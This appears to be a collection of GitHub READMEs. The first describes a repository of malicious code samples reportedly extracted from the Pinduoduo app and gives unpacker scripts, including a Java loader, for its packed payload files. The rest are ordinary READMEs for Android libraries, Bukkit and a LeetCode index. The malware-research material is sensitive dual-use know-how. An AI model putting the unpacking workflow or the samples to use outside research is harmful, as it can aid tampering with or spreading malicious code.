# 详细分析报告 Detailed Analysis Report English version see [Report](https://github.com/davincifans101/pinduoduo_backdoor_detailed_report/blob/main/report_en.pdf), 中文分析报告见[分析报告](https://github.com/davincifans101/pinduoduo_backdoor_detailed_report/blob/main/report_cn.pdf) # Pinduoduo恶意代码样本和脱壳机 听说PDD今天开始发律师函删帖抵赖了![PDDNB](https://user-images.githubusercontent.com/25000885/224233765-5195f16a-f41c-482f-a664-1cf72796651e.png),那就放点新东西出来。 拼多多的两个壳,manwe和nvwa脱壳脚本。适用于样本中.mw1 .nw0文件。.nw0要用nvwa脱壳脚本,.mw1用manwe脚本。 ## 拼多多manwe一键脱壳脚本 代码在`manwe_unpacker`目录,用法如下,或自己改路径: /tmp/mw1.bin放解压出来的文件,在`/tmp/final_java/`会生成脱壳后的java class文件,压缩一下拖到jadx里看。 ```java public class ManweVmpLoader { public static void main(String[] args) throws Throwable { String firmwarePath = "/tmp/mw1.bin"; ManweVmpDataInputStream inputStream = new ManweVmpDataInputStream(Files.newInputStream(Paths.get(firmwarePath))); ManweVmpDex manweVmpDex = new ManweVmpDex(inputStream); System.out.printf("Load %d class%n", manweVmpDex.manweVmpClazzes.length); if (inputStream.available() != 0) { throw new RuntimeException(String.format("%d bytes remaining", inputStream.available())); } inputStream.close(); if (Files.notExists(Paths.get("/tmp/final_java/"))) { new File("/tmp/final_java/").mkdirs(); } manweVmpDex.writeClazzes("/tmp/final_java/"); } } ``` ## 拼多多nvwa一键脱壳脚本 代码见`nvwa_unpacker`目录 ## 提取出的恶意样本 PDD的恶意代码以加壳后的文件形式组织,APK自带AliveBaseAbility,其他的都是远程下发,以下称为“样本”。因为有些样本是动态下发,不一定全,如果有这里没有的,欢迎Pull Request补充。 样本在samples目录中,包含PDD APK自带的样本,以及其动态下发的样本。动态样本为3.2日之前从安装了PDD的手机里/data/data/com.xunmeng.pinduoduo/files/bot/, /data/data/com.xunmeng.pinduoduo/files/.components/提取出,现在新版本可能被PDD删掉了,有兴趣的可以找下装了之前的版本的手机看下,顺便看下`app_mango`目录,里面是配置文件,有惊喜。 带符号的样本为PDD 6.2.0提取出(`samples/old_alive_base_ability_with_symbol/mw1.bin`),新版本的APP携带的样本去掉了符号。 样本各个都是干货,值得看看。AliveBaseAbility是第一步,davinci仓库中提到的dex只是这个evil plan的第三步,这里其他的是第二步。 ## 其他 一视同仁,平等对待才是好的营商环境,纵容、包庇不是。 据说PDD搞这个的100多号人的团队连夜解散了,删库跑路,是吗?又听说PDD这些漏洞手段被曝光停了之后,DAU出现明显下跌,是吗? 等下,有人敲门说查水表了,我先出 ## 免责声明 仅用于研究用途,禁止和PDD一样作恶,没靠山别学
0
MarkoMilos/Paginate
Library for creating simple pagination functionality upon RecyclerView and AbsListView
null
Paginate ============ [![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-Paginate-green.svg?style=true)](https://android-arsenal.com/details/1/2797) Android library for creating simple pagination functionality (aka infinite scrolling) upon `RecyclerView` or `AbsListView`. Features -------- * Configuration allows you to setup automatic adding/removing of the loading list item (enabled by default) * Custom loading list item - inflate and bind (default loading list item view will be used if custom one is not provided) * Custom `SpanSizeLookup` for the loading list item when `GridLayoutManager` is used (by default loading list item will use full span) * Custom loading trigger threshold * Support `RecyclerView` (using linear, grid and staggered `LayoutManager`) and `AbsListView` (`ListView` | `GridView`) Demo -------- For a working implementation of this project see the `paginate-sample/` folder. <img src="art/demo.gif"> Setup -------- Gradle: ```groovy compile 'com.github.markomilos:paginate:1.0.0' ``` or Maven: ```xml <dependency> <groupId>com.github.markomilos</groupId> <artifactId>paginate</artifactId> <version>1.0.0</version> </dependency> ``` Usage -------- Implement `Paginate.Callbacks` ```java Paginate.Callbacks callbacks = new Paginate.Callbacks() { @Override public void onLoadMore() { // Load next page of data (e.g. network or database) } @Override public boolean isLoading() { // Indicate whether new page loading is in progress or not return loadingInProgress; } @Override public boolean hasLoadedAllItems() { // Indicate whether all data (pages) are loaded or not return hasLoadedAllItems; } }; ``` **RecyclerView** ```java Paginate.with(recyclerView, callbacks) .setLoadingTriggerThreshold(2) .addLoadingListItem(true) .setLoadingListItemCreator(new CustomLoadingListItemCreator()) .setLoadingListItemSpanSizeLookup(new CustomLoadingListItemSpanLookup()) .build(); ``` **Note**: `LayoutManager` and `RecyclerView.Adapter` needs to be set before calling the code above. Implement `LoadingListItemCreator` in order to provide custom loading row view. ```java private class CustomLoadingListItemCreator implements LoadingListItemCreator { @Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { LayoutInflater inflater = LayoutInflater.from(parent.getContext()); View view = inflater.inflate(R.layout.custom_loading_list_item, parent, false); return new VH(view); } @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) { // Bind custom loading row if needed } } ``` **AbsListView** ```java Paginate.with(absListView, callbacks) .setOnScrollListener(scrollListener) // Delegate scroll listener .setLoadingTriggerThreshold(2) .addLoadingListItem(true) .setLoadingListItemCreator(new CustomLoadingListItemCreator()) .build(); ``` **Note**: Adapter needs to be set before calling the code above. Implement `LoadingListItemCreator` in order to provide custom loading row view. ```java private class CustomLoadingListItemCreator implements LoadingListItemCreator { @Override public View newView(int position, ViewGroup parent) { LayoutInflater inflater = LayoutInflater.from(parent.getContext()); View view = inflater.inflate(R.layout.custom_loading_list_item, parent, false); view.setTag(new VH(view)); return view; } @Override public void bindView(int position, View view) { // Bind custom loading row if needed } } ``` **Paginate instance** Calling `build()` upon `Paginate.Builder` will return `Paginate` instance which will allow you to: * `unbind()` - Call unbind to detach list (`RecyclerView` or `AbsListView`) from Paginate when pagination functionality is no longer needed on the list. Paginate is using scroll listeners and adapter data observers in order to perform required checks (when list is scrolled to the end or when new data is added to source adapter). It wraps original (source) adapter with new adapter that provides loading row if loading row is used. When unbind is called original adapter will be set on the list and scroll listeners and data observers will be detached. **You need to call `unbind()` if you re-setup recycler view (e.g. change adapter, layout manager etc)** * `setHasMoreDataToLoad(boolean)` - if you are using loading row (which is default setup), each time when you add data to adapter check will be performed and if there is no more data to load loading row will be removed. That means that loading row will be added/removed automatically. Use this method to explicitly (manually) notify that there is no more item to load. Developed By -------- Marko Milos (marko.milos.hr@gmail.com) <a href="https://twitter.com/mysterymarks"> <img alt="Follow me on Twitter" src="https://raw.githubusercontent.com/MarkoMilos/Paginate/master/art/twitter.png" /> </a> <a href="https://hr.linkedin.com/in/markomilos"> <img alt="Follow me on LinkedIn" src="https://raw.githubusercontent.com/MarkoMilos/Paginate/master/art/linkedin.png" /> </a> License -------- Copyright 2020 Marko Milos Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
Rogero0o/GifLoadingView
Some loading GIF .
null
# Android GifLoadingView This project idea is from [Link](http://mp.weixin.qq.com/s?__biz=MjM5MDMxOTE5NA==&mid=402703079&idx=2&sn=2fcc6746a866dcc003c68ead9b68e595&scene=2&srcid=0302A7p723KK8E5gSzLKb2ZL&from=timeline&isappinstalled=0#wechat_redirect) .<br> Thanks for the idea.<br> I like all the animation in that webpage , but it's so hard to develop all of them .<br> Finally , i find this way , it's simple , but it work perfect. ## Look like ### Season one Idea from [Link](http://mp.weixin.qq.com/s?__biz=MjM5MDMxOTE5NA==&mid=402703079&idx=2&sn=2fcc6746a866dcc003c68ead9b68e595&scene=2&srcid=0302A7p723KK8E5gSzLKb2ZL&from=timeline&isappinstalled=0#wechat_redirect) .<br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3deysrt4gg204s04x17r.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deytb648g204s04xwqe.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deytpvo0g204s04x450.gif) <br> ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deyu5713g204s04x41t.gif) ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyvbpwag204s04x10j.gif) ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyvlh57g204s04xq92.gif) <br> ![](http://ww4.sinaimg.cn/small/a695acdegw1f3deyvx9yjg204s04x43s.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deywqb29g204s04xjsz.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deyx4nbvg204s04xn44.gif) <br> ![](http://ww4.sinaimg.cn/small/a695acdegw1f3deyxq1s8g204s04xgrr.gif) ![](http://ww4.sinaimg.cn/small/a695acdegw1f3deyyj813g204s04xgsg.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deyyipfsg204s04xju2.gif) <br> ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyz8qb3g204s04xmys.gif) ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyzpcg3g204s04x48v.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3dez0fsw9g204s04x7ac.gif) <br> ![](http://ww1.sinaimg.cn/small/a695acdegw1f3dez0v58lg204s04x42i.gif) ![](http://ww4.sinaimg.cn/small/a695acdegw1f3dez17cw8g204s04x79g.gif) ![](http://ww4.sinaimg.cn/small/a695acdegw1f3dez207qug204s04xnad.gif) <br> ![](http://ww2.sinaimg.cn/small/a695acdegw1f3dez2ua1vg204s04xdo4.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3dez39ag4g204s04x0y8.gif) ![](http://ww1.sinaimg.cn/small/a695acdegw1f3dez3skp2g204s04x41g.gif) <br> ### Season two Idea from [Link](http://weibo.com/uidesign?from=myfollow_all&is_all=1) .<br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacfm7wcg204r04kq8a.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacg135gg204r04k0ut.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacgk5s5g204r04kdml.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacgx2h9g204r04kgog.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qachev6zg204r04kn10.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qachtmkkg204r04k0uo.gif) <br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacikeaag204r04kaig.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacj3cbpg204r04k45j.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacjwog0g204r04k7fb.gif) <br> ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qackcx8cg204r04k0yu.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacl0fucg204r04j437.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacloga5g204r04kajx.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacmmdmwg204r04jgw6.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacn57x2g204r04kwlg.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qaco4r8jg204r04j0w6.gif) <br> ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacot371g204r04kqb1.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacpgwzdg204r04k7d1.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacq07ulg204r04kdlb.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacr0l1ig204r04kh8p.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacrr3g8g204r04jqej.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacshw68g204r04kaed.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qact37ntg204r04kadk.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qactokt2g204r04ktdg.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacuc8psg204r04k0ww.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacv0akgg204r04jjx0.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacvkmusg204r04kn1e.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacwcj0ag204r04kafo.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacwx8zyg204r04k7ax.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacxxhj2g204r04kk0k.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacylovbg204r04kk1w.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qaczjtrcg204r04kqeg.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad0jic7g204r04kam0.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qad15mq7g204r04ktlf.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qad1xt11g204r04k4cj.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qad2kvsbg204r04kjxd.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad3f6hwg204r04ktn8.gif) <br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad40ldgg204r04kjvt.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qad4nqpkg204r04kn2j.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qad5br7eg204r04k45a.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qad6119eg204r04ktf4.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad6m822g204r04k0xs.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qad78qzig204r04kgt9.gif) <br> ### Season Three Idea from [Link](http://weibo.com/uidesign?from=myfollow_all&is_all=1) .<br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num66.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num67.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num68.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num69.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num70.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num71.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num72.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num73.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num74.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num75.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num76.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num77.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num78.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num79.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num80.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num81.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num82.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num83.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num84.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num85.gif" width="171" height="164" /> <br> ..as you see right now,wish you like it. ### Step Import this project into android studio..it's build with it. ### Usage #### Gradle ``` compile 'com.roger.gifloadinglibrary:gifloadinglibrary:1.1.1' ``` #### config in java code private GifLoadingView mGifLoadingView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mGifLoadingView = new GifLoadingView(); findViewById(R.id.button).setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { mGifLoadingView.setImageResource(R.drawable.image); mGifLoadingView.show(getFragmentManager()); } }); } ## Dependencies This project use this libraries ~ Thanks to them. [android-gif-drawable](https://github.com/koral--/android-gif-drawable) <br> [BlurDialogFragment](https://github.com/tvbarthel/BlurDialogFragment) ## TODO This view is adjust in Nexue5 but not test in the other size screen . ## About me A small guy in mainland FUJIAN China. If you have any new idea about this project, feel free to tell me ,Tks. :smiley: ## License The MIT License (MIT) Copyright © 2015 Roger Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
0
Bukkit/Bukkit
The Minecraft Mod API
null
Bukkit ====== A Minecraft Server API. Website: [http://bukkit.org](http://bukkit.org) Bugs/Suggestions: [http://leaky.bukkit.org](http://leaky.bukkit.org) Contributing Guidelines: [CONTRIBUTING.md](https://github.com/Bukkit/Bukkit/blob/master/CONTRIBUTING.md) Compilation ----------- We use maven to handle our dependencies. * Install [Maven 3](http://maven.apache.org/download.html) * Check out this repo and: `mvn clean install`
0
gouthampradhan/leetcode
Leetcode solutions
algorithms coding-interviews competitive-programming java leetcode leetcode-java leetcode-solutions
# Leetcode solutions in Java My accepted leetcode solutions to some of the common interview problems. #### [Array](src/main/java/array) - [Pascals Traiangle II](src/main/java/array/PascalsTriangle.java) (Easy) - [Product Of Array Except Self](src/main/java/array/ProductOfArrayExceptSelf.java) (Medium) - [Rotate Matrix](src/main/java/array/RotateMatrix.java) (Medium) - [Set Matrix Zeroes](src/main/java/array/SetMatrixZeroes.java) (Medium) - [Third Maximum Number](src/main/java/array/ThirdMaximumNumber.java) (Easy) - [Two Sum](src/main/java/array/TwoSum.java) (Easy) - [TwoSum II](src/main/java/array/TwoSumII.java) (Easy) - [Can Place Flowers](src/main/java/array/CanPlaceFlowers.java) (Easy) - [Merge Intervals](src/main/java/array/MergeIntervals.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [First Missing Positive](src/main/java/array/FirstMissingPositive.java) (Hard) - [Fruit Into Baskets](src/main/java/array/FruitIntoBaskets.java) (Medium) - [MaxProduct Of Three Numbers](src/main/java/array/MaxProductOfThreeNumbers.java) (Easy) - [Missing Number](src/main/java/array/MissingNumber.java) (Easy) - [Merge Sorted Array](src/main/java/array/MergeSortedArray.java) (Easy) - [Rotate Array](src/main/java/array/RotateArray.java) (Easy) - [Sort Colors](src/main/java/array/SortColors.java) (Medium) - [Battleships in a Board](src/main/java/array/BattleshipsInABoard.java) (Medium) - [Find the Celebrity](src/main/java/array/FindTheCelebrity.java) (Medium) - [Meeting Rooms](src/main/java/array/MeetingRooms.java) (Easy) - [Longest Continuous Increasing Subsequence](src/main/java/array/LongestIncreasingSubsequence.java) (Easy) - [Sparse Matrix Multiplication](src/main/java/array/SparseMatrixMultiplication.java) (Medium) - [Read N Characters Given Read4](src/main/java/array/ReadNCharacters.java) (Easy) - [Maximum Swap](src/main/java/array/MaximumSwap.java) (Medium) - [H-Index](src/main/java/array/HIndex.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Insert Interval](src/main/java/array/InsertInterval.java) (Hard) - [Increasing Triplet Subsequence](src/main/java/array/IncreasingTripletSubsequence.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [K Empty Slots](src/main/java/array/KEmptySlots.java) (Hard) - [Subarray Sum Equals K](src/main/java/array/SubarraySumEqualsK.java) (Medium) - [Pour Water](src/main/java/array/PourWater.java) (Medium) - [Relative Ranks](src/main/java/array/RelativeRanks.java) (Easy) - [Next Greater Element I](src/main/java/array/NextGreaterElementI.java) (Easy) - [Largest Number At Least Twice of Others](src/main/java/array/LargestNumberAtLeastTwice.java) (Easy) - [Minimum Moves to Equal Array Elements II](src/main/java/array/MinimumMovesToEqualArray.java) (Median) - [Image Smoother](src/main/java/array/ImageSmoother.java) (Easy) - [Minimum Index Sum of Two Lists](src/main/java/array/MinimumIndexSumOfTwoLists.java) (Easy) - [Card Flipping Game](src/main/java/array/CardFilipGame.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Employee Free Time](src/main/java/array/EmployeeFreeTime.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Best Meeting Point](src/main/java/array/BestMeetingPoint.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [My Calendar III](src/main/java/array/MyCalendarThree.java) (Hard) - [Champagne Tower](src/main/java/array/ChampagneTower.java) (Medium) - [Valid Tic-Tac-Toe State](src/main/java/array/ValidTicTacToeState.java) (Medium) - [Number of Subarrays with Bounded Maximum](src/main/java/array/SubArraysWithBoundedMaximum.java) (Medium) - [Surface Area of 3D Shapes](src/main/java/array/SurfaceAreaOfThreeDShapes.java) (Easy) - [Max Consecutive Ones](src/main/java/array/MaxConsecutiveOnes.java) (Easy) - [Max Consecutive Ones II](src/main/java/array/MaxConsecutiveOnesII.java) (Medium) - [Add to Array-Form of Integer](src/main/java/array/AddToArrayFormOfInteger.java) (Easy) - [Find Pivot Index](src/main/java/array/FindPivotIndex.java) (Easy) - [Largest Time for Given Digits](src/main/java/array/LargestTimeForGivenDigits.java) (Easy) - [Minimum Time Difference](src/main/java/array/MinimumTimeDifference.java) (Medium) - [Reveal Cards In Increasing Order](src/main/java/array/RevealCardsInIncreasingOrder.java) (Medium) - [Sort Array By Parity II](src/main/java/array/SortArrayByParityII.java) (Easy) - [Matrix Cells in Distance Order](src/main/java/array/MatrixCellsinDistanceOrder.java) (Easy) - [Maximum Sum of Two Non-Overlapping Subarrays](src/main/java/array/MaximumSumofTwoNonOverlappingSubarrays.java) (Medium) - [Longest Line of Consecutive One in Matrix](src/main/java/array/LongestLineofConsecutiveOneinMatrix.java) (Medium) - [Array Partition I](src/main/java/array/ArrayPartitionI.java) (Easy) - [Relative Sort Array](src/main/java/array/RelativeSortArray.java) (Easy) - [Meeting Scheduler](src/main/java/array/MeetingScheduler.java) (Medium) - [Minimum Swaps to Group All 1's Together](src/main/java/array/MinimumSwapsToGroupAll1Together.java) (Medium) - [Array Nesting](src/main/java/array/ArrayNesting.java) (Medium) #### [Backtracking](src/main/java/backtracking) - [Combinations](src/main/java/backtracking/Combinations.java) (Medium) - [Combinations Sum](src/main/java/backtracking/CombinationSum.java) (Medium) - [Combinations Sum II](src/main/java/backtracking/CombinationSumII.java) (Medium) - [Letter Phone Number](src/main/java/backtracking/LetterPhoneNumber.java) (Medium) - [Paliandrome Partitioning](src/main/java/backtracking/PalindromePartitioning.java) (Medium) - [Permutations](src/main/java/backtracking/Permutations.java) (Medium) - [Permutations II](src/main/java/backtracking/PermutationsII.java) (Medium) - [SubSets](src/main/java/backtracking/Subsets.java) (Medium) - [SubSet II](src/main/java/backtracking/SubsetsII.java) (Medium) - [Word Search](src/main/java/backtracking/WordSearch.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Word Search II](src/main/java/backtracking/WordSearchII.java) (Hard) - [Generate Parentheses](src/main/java/backtracking/GenerateParentheses.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Remove Invalid Parentheses](src/main/java/backtracking/RemoveInvalidParentheses.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Regular Expression Matching](src/main/java/backtracking/RegularExpressionMatching.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Expression Add Operators](src/main/java/backtracking/ExpressionAddOperators.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Wildcard Matching](src/main/java/backtracking/WildcardMatching.java) (Hard) - [Letter Case Permutation](src/main/java/backtracking/LetterCasePermutation.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Zuma Game](src/main/java/backtracking/ZumaGame.java) (Hard) - [Matchsticks to Square](src/main/java/backtracking/MatchsticksToSquare.java) (Medium) #### [Binary Search](src/main/java/binary_search) - [Minimum Sorted Rotated Array](src/main/java/binary_search/MinSortedRotatedArray.java) (Medium) - [Search in a Rotated Sorted Array](src/main/java/binary_search/SearchRotatedSortedArray.java) (Medium) - [Search for a Range](src/main/java/binary_search/SearchForARange.java) (Medium) - [Sqrt(x)](src/main/java/binary_search/SqrtX.java) (Easy) - [Search Insert Position](src/main/java/binary_search/SearchInsertPosition.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Median of Two Sorted Arrays](src/main/java/binary_search/MedianOfTwoSortedArrays.java) (Hard) - [Pow(x, n)](src/main/java/binary_search/PowXN.java) (Medium) - [Find Peak Element](src/main/java/binary_search/FindPeakElement.java) (Medium) - [Target Sum](src/main/java/binary_search/TargetSum.java) (Medium) - [H-Index II](src/main/java/binary_search/HIndexII.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Swim in Rising Water](src/main/java/binary_search/SwimInRisingWater.java) (Hard) - [Time Based Key-Value Store](src/main/java/binary_search/TimeBasedKeyValuePair.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Window Subsequence](src/main/java/binary_search/MinimumWindowSubsequence.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Koko Eating Bananas](src/main/java/binary_search/KokoEatingBananas.java) (Hard) - [Single Element in a Sorted Array](src/main/java/binary_search/SingleElementInASortedArray.java) (Medium) #### [Bit Manipulation](src/main/java/bit_manipulation) - [Gray Code](src/main/java/bit_manipulation/GrayCode.java) (Medium) - [Hamming Distance](src/main/java/bit_manipulation/HammingDistance.java) (Easy) - [Total Hamming Distance](src/main/java/bit_manipulation/TotalHammingDistance.java) (Medium) - [Divide Two Integers](src/main/java/bit_manipulation/DivideTwoIntegers.java) (Medium) - [Binary Number with Alternating Bits](src/main/java/bit_manipulation/BinaryNumberWithAlternatingBits.java) (Easy) - [Binary Watch](src/main/java/bit_manipulation/BinaryWatch.java) (Easy) #### [Breadth First Search](src/main/java/breadth_first_search) - [Binaray Tree Level Order Traversal](src/main/java/breadth_first_search/BinarayTreeLevelOrderTraversal.java) (Medium) - [Word Ladder](src/main/java/breadth_first_search/WordLadder.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Word Ladder II](src/main/java/breadth_first_search/WordLadderII.java) (Hard) - [Walls and Gates](src/main/java/breadth_first_search/WallsAndGates.java) (Medium) - [Open the lock](src/main/java/breadth_first_search/OpenTheLock.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cut Off Trees for Golf Event](src/main/java/breadth_first_search/CutOffTreesForGolfEvent.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Race Car](src/main/java/breadth_first_search/RaceCar.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Bus Routes](src/main/java/breadth_first_search/BusRoutes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Sliding Puzzle](src/main/java/breadth_first_search/SlidingPuzzle.java) (Hard) - [Matrix](src/main/java/breadth_first_search/Matrix.java) (Medium) - [Rotting Oranges](src/main/java/breadth_first_search/RottingOranges.java) (Medium) #### [Depth First Search](src/main/java/depth_first_search) - [Minesweeper](src/main/java/depth_first_search/Minesweeper.java) (Medium) - [Movie Recommend](src/main/java/depth_first_search/MovieRecommend.java) (Medium) - [Number Of Islands](src/main/java/depth_first_search/NumberOfIslands.java) (Medium) - [Course Schedule](src/main/java/depth_first_search/CourseSchedule.java) (Medium) - [Course Schedule II](src/main/java/depth_first_search/CourseScheduleII.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Alien Dictionary](src/main/java/depth_first_search/AlienDictionary.java) (Hard) - [Graph Valid 